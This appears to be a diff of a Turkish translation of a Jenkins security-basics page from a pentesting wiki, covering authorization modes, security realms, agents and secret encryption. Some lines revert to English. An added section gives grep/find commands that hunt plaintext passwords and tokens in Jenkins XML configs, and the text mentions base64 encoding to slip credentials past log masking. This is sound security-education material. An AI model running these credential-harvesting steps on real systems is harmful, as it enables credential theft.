+**Kullanıcılar token üretebilir**; böylece CLI veya REST API üzerinden onları taklit edecek uygulamalara erişim verilebilir.
 
 ### SSH Anahtarları
 
-Bu bileşen, Jenkins için yerleşik bir SSH sunucusu sağlar. Bu, [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) için alternatif bir arayüzdür ve komutlar bu şekilde herhangi bir SSH istemcisi kullanılarak çağrılabilir. (Kaynak: [docs](https://plugins.jenkins.io/sshd/))
+Bu bileşen Jenkins için yerleşik bir SSH sunucusu sağlar. Bu, [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) için alternatif bir arayüzdür ve herhangi bir SSH istemcisi kullanılarak bu şekilde komutlar çalıştırılabilir. (From the [docs](https://plugins.jenkins.io/sshd/))
 
 ## Yetkilendirme
 
-`/configureSecurity` içinde **Jenkins'in yetkilendirme yöntemini yapılandırmak** mümkündür. Birkaç seçenek vardır:
+`/configureSecurity` konumunda Jenkins'in **yetkilendirme yöntemini yapılandırmak** mümkündür. Birkaç seçenek vardır:
 
-- **Herkes her şeyi yapabilir**: Anonim erişim bile sunucuyu yönetebilir.
-- **Eski mod**: Jenkins <1.164 ile aynı. Eğer **"admin" rolüne** sahipseniz, sisteme **tam kontrol** verilir, aksi takdirde (anonim kullanıcılar dahil) **okuma** erişiminiz olur.
-- **Giriş yapmış kullanıcılar her şeyi yapabilir**: Bu modda, her **giriş yapmış kullanıcı Jenkins'in tam kontrolüne** sahiptir. Tam kontrolü olmayan tek kullanıcı **anonim kullanıcıdır**, yalnızca **okuma erişimi** alır.
-- **Matris tabanlı güvenlik**: **Kimlerin ne yapabileceğini** bir tabloda yapılandırabilirsiniz. Her **sütun** bir **izin** temsil eder. Her **satır** bir **kullanıcı veya grup/rolü temsil eder.** Bu, **kimlik doğrulanmamış kullanıcıları** temsil eden özel bir kullanıcı '**anonim**' ve **tüm kimlik doğrulanmış kullanıcıları** temsil eden '**kimlik doğrulanmış**' içerir.
+- **Herkes her şeyi yapabilir**: Anonim erişim bile sunucuyu yönetebilir
+- **Legacy mode**: Jenkins <1.164 ile aynı. Eğer **"admin" rolüne** sahipseniz, sistem üzerinde **tam kontrol** verilir; **aksi halde** (**anonim** kullanıcılar dahil) **okuma** erişimine sahip olursunuz.
+- **Giriş yapmış kullanıcılar her şeyi yapabilir**: Bu modda, her **giriş yapmış kullanıcı Jenkins üzerinde tam kontrole** sahip olur. Tam kontrole sahip olmayan tek kullanıcı **anonim kullanıcıdır**, ki sadece **okuma erişimi** alır.
+- **Matris tabanlı güvenlik**: Bir tabloda **kimin ne yapabileceğini** yapılandırabilirsiniz. Her **sütun** bir **izni** temsil eder. Her **satır** bir **kullanıcı veya bir grup/rol**u temsil eder. Bu, özel bir kullanıcı olan **'anonymous'**(kimlik doğrulanmamış kullanıcıları temsil eder) ile tüm kimlik doğrulanmış kullanıcıları temsil eden **'authenticated'**'ı içerir.
 
 ![](<../../images/image (149).png>)
 
-- **Proje Tabanlı Matris Yetkilendirme Stratejisi:** Bu mod, her proje için ayrı ayrı **ek ACL matrisinin tanımlanmasına** olanak tanıyan "**Matris tabanlı güvenlik**" için bir **uzantıdır.**
-- **Rol Tabanlı Strateji:** **Rol tabanlı bir strateji** kullanarak yetkilendirmeleri tanımlamayı sağlar. Rolleri `/role-strategy` içinde yönetin.
+- **Proje Tabanlı Matris Yetkilendirme Stratejisi:** Bu mod, **Matris tabanlı güvenlik**'in bir **uzantısıdır** ve her proje için ek ACL matrislerinin **ayrı ayrı tanımlanmasına** izin verir.
+- **Rol Tabanlı Strateji:** Yetkilendirmeleri bir **rol tabanlı strateji** kullanarak tanımlamayı sağlar. Rolleri `/role-strategy` içinde yönetin.
 
 ## **Güvenlik Alanı**
 
-`/configureSecurity` içinde **güvenlik alanını yapılandırmak** mümkündür. Varsayılan olarak Jenkins, birkaç farklı Güvenlik Alanı desteği içerir:
+`/configureSecurity` konumunda **güvenlik alanı yapılandırılabilir.** Varsayılan olarak Jenkins birkaç farklı güvenlik alanı desteği içerir:
 
-- **Servlet konteynerine devret**: **Jenkins denetleyicisini çalıştıran bir servlet konteynerine kimlik doğrulama devretmek için**, örneğin [Jetty](https://www.eclipse.org/jetty/).
-- **Jenkins'in kendi kullanıcı veritabanı:** Dış bir sisteme devretmek yerine kimlik doğrulama için **Jenkins'in kendi yerleşik kullanıcı veri deposunu** kullanın. Bu varsayılan olarak etkindir.
-- **LDAP**: Hem kullanıcıları hem de grupları içeren tüm kimlik doğrulamayı yapılandırılmış bir LDAP sunucusuna devredin.
-- **Unix kullanıcı/grup veritabanı**: **Kimlik doğrulamayı Jenkins denetleyicisindeki temel Unix** OS düzeyindeki kullanıcı veritabanına devreder. Bu mod, yetkilendirme için Unix gruplarının yeniden kullanılmasına da olanak tanır.
+- **Delegate to servlet container**: Jenkins controller'ı çalıştıran bir servlet container'a (ör. [Jetty](https://www.eclipse.org/jetty/)) kimlik doğrulamayı delege etmek için.
+- **Jenkins’ own user database:** Kimlik doğrulama için **Jenkins’in yerleşik kullanıcı veri deposunu** kullanın; harici bir sisteme delege edilmez. Bu varsayılan olarak etkindir.
+- **LDAP**: Tüm kimlik doğrulamayı, kullanıcılar ve gruplar dahil, yapılandırılmış bir LDAP sunucusuna delege edin.
+- **Unix user/group database**: Kimlik doğrulamayı Jenkins controller üzerindeki Unix işletim sistemi seviyesindeki kullanıcı veritabanına **delege eder**. Bu mod ayrıca yetkilendirme için Unix gruplarının yeniden kullanılmasına da izin verir.
 
-Eklentiler, Jenkins'i mevcut kimlik sistemlerine entegre etmek için yararlı olabilecek ek güvenlik alanları sağlayabilir, örneğin:
+Eklentiler, Jenkins'i mevcut kimlik sistemlerine entegre etmek için faydalı olabilecek ek güvenlik alanları sağlayabilir, örneğin:
 
 - [Active Directory](https://plugins.jenkins.io/active-directory)
-- [GitHub Kimlik Doğrulama](https://plugins.jenkins.io/github-oauth)
+- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
 - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
 
-## Jenkins Düğümleri, Ajanlar ve Yürütücüler
+## Jenkins Nodes, Agents & Executors
 
-[docs](https://www.jenkins.io/doc/book/managing/nodes/) tanımları:
+Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
 
-**Düğümler**, **derleme ajanlarının çalıştığı makineler**dir. Jenkins, her bağlı düğümü disk alanı, boş geçici alan, boş takas, saat zamanı/senkronizasyon ve yanıt süresi için izler. Bu değerlerden herhangi biri yapılandırılmış eşik değerinin dışına çıkarsa, bir düğüm çevrimdışı alınır.
+**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
 
-**Ajanlar**, **yürütücüleri** kullanarak Jenkins denetleyicisi adına **görev yürütmesini yönetir**. Bir ajan, Java'yı destekleyen herhangi bir işletim sistemini kullanabilir. Derlemeler ve testler için gereken araçlar, ajanın çalıştığı düğümde kurulu olmalıdır; bunlar **doğrudan veya bir konteynerde** (Docker veya Kubernetes) kurulabilir. Her **ajan, ana makinede kendi PID'sine sahip bir süreçtir**.
+**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
 
-Bir **yürütücü**, **görevlerin yürütülmesi için bir yerdir**; etkili bir şekilde, bu **ajan içindeki bir ipliktir**. Bir düğümdeki **yürütücü sayısı**, o düğümde aynı anda yürütülebilecek **eşzamanlı görevlerin** sayısını tanımlar. Diğer bir deyişle, bu, o düğümde aynı anda yürütülebilecek **eşzamanlı Pipeline `aşamalarının`** sayısını belirler.
+An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
 
-## Jenkins Gizli Bilgileri
+## Jenkins Secrets
 
-### Gizli Bilgilerin ve Kimlik Bilgilerinin Şifrelenmesi
+### Sırların ve Kimlik Bilgilerinin Şifrelenmesi
 
-[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) tanımına göre: Jenkins, **gizli bilgileri**, kimlik bilgilerini ve bunların ilgili şifreleme anahtarlarını korumak için **AES kullanır**. Bu şifreleme anahtarları, `$JENKINS_HOME/secrets/` içinde, bu anahtarları korumak için kullanılan anahtar ile birlikte saklanır. Bu dizin, yalnızca Jenkins denetleyicisinin çalıştığı işletim sistemi kullanıcısının bu dizine okuma ve yazma erişimine sahip olacak şekilde yapılandırılmalıdır (yani, `chmod` değeri `0700` veya uygun dosya nitelikleri kullanılarak). **Anahtar** (bazen kriptolojide "anahtar şifreleme anahtarı" olarak adlandırılır) **şifrelenmemiş olarak** Jenkins denetleyici dosya sisteminde **`$JENKINS_HOME/secrets/master.key`** içinde saklanır ve bu, o dosyaya doğrudan erişimi olan saldırganlara karşı koruma sağlamaz. Çoğu kullanıcı ve geliştirici, bu şifreleme anahtarlarını ya [Secret](https://javadoc.jenkins.io/byShortName/Secret) API'si aracılığıyla genel gizli verileri şifrelemek için ya da kimlik bilgileri API'si aracılığıyla dolaylı olarak kullanacaktır. Kriptografi meraklıları için, Jenkins, `$JENKINS_HOME/secrets/` içinde saklanan [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) örneklerini şifrelemek için PKCS#5 dolgu ve rastgele IV'ler ile CBC modunda AES kullanır. Yaygın anahtar kimlikleri şunları içerir:
+Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
 
-- `hudson.util.Secret`: genel gizli bilgiler için kullanılır;
-- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: bazı kimlik bilgisi türleri için kullanılır;
-- `jenkins.model.Jenkins.crumbSalt`: [CSRF koruma mekanizması](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) tarafından kullanılır; ve
+- `hudson.util.Secret`: used for generic secrets;
+- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
+- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
 
 ### Kimlik Bilgilerine Erişim
 
-Kimlik bilgileri, herhangi bir yapılandırılmış proje tarafından erişilebilen **küresel sağlayıcılara** (`/credentials/`) veya yalnızca belirli projelerden erişilebilen **belirli projelere** (`/job/<project-name>/configure`) kapsamlandırılabilir.
+Credentials, herhangi bir yapılandırılmış proje tarafından erişilebilecek global sağlayıcılara (`/credentials/`) scope edilebilir veya belirli projelere (`/job/<project-name>/configure`) scope edilerek yalnızca ilgili projeden erişilebilir hale getirilebilir.
 
-[**Belgelerde**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) belirtildiği gibi: Kapsamda olan kimlik bilgileri, sınırsız bir şekilde pipeline'a sunulur. **Derleme günlüğünde kazara ifşayı önlemek için**, kimlik bilgileri **normal çıktılardan maskelemektedir**, bu nedenle `env` (Linux) veya `set` (Windows) gibi bir çağrı veya ortamlarını veya parametrelerini yazdıran programlar, kimlik bilgilerini **derleme günlüğünde** ifşa etmez.
+According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Kapsama dahil olan kimlik bilgileri pipeline içinde sınırlama olmadan kullanılabilir. Build günlüğünde yanlışlıkla maruz kalmalarını **önlemek için**, kimlik bilgileri normal çıktıdan **maskeleme** uygulanır; bu yüzden `env` (Linux) veya `set` (Windows) çağrısı ya da ortam değişkenlerini veya parametrelerini yazdıran programlar, kimlik bilgilerine erişimi olmayan kullanıcılar için **build günlüğünde** onları **göstermez**.
 
-**Bu nedenle, kimlik bilgilerini dışarıya çıkarmak için bir saldırganın, örneğin, bunları base64 ile kodlaması gerekir.**
+**Bu nedenle, kimlik bilgilerini exfiltrate etmek isteyen bir saldırganın, örneğin, bunları base64 ile kodlaması gerekir.**
 
+### Eklenti/İş konfigürasyonlarında diskteki sırlar
+
+Sırlar sadece `credentials.xml` içinde saklanıyor varsaymayın. Birçok eklenti sırları kendi **global XML**'lerinde `$JENKINS_HOME/*.xml` altında veya her iş için `$JENKINS_HOME/jobs/<JOB>/config.xml` içinde saklar; bazen hatta düz metin olarak (UI maskelemesi şifreli depolama garantilemez). Dosya sistemi üzerinde okuma erişimi elde ederseniz, bu XML'leri listeleyin ve bariz secret etiketlerini arayın.
+```bash
+# Global plugin configs
+ls -l /var/lib/jenkins/*.xml
+grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
+
+# Per-job configs
+find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
+```
 ## Referanslar
 
 - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
@@ -90,5 +101,6 @@ Kimlik bilgileri, herhangi bir yapılandırılmış proje tarafından erişilebi
 - [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
 - [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
 - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
+- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
 
 {{#include ../../banners/hacktricks-training.md}}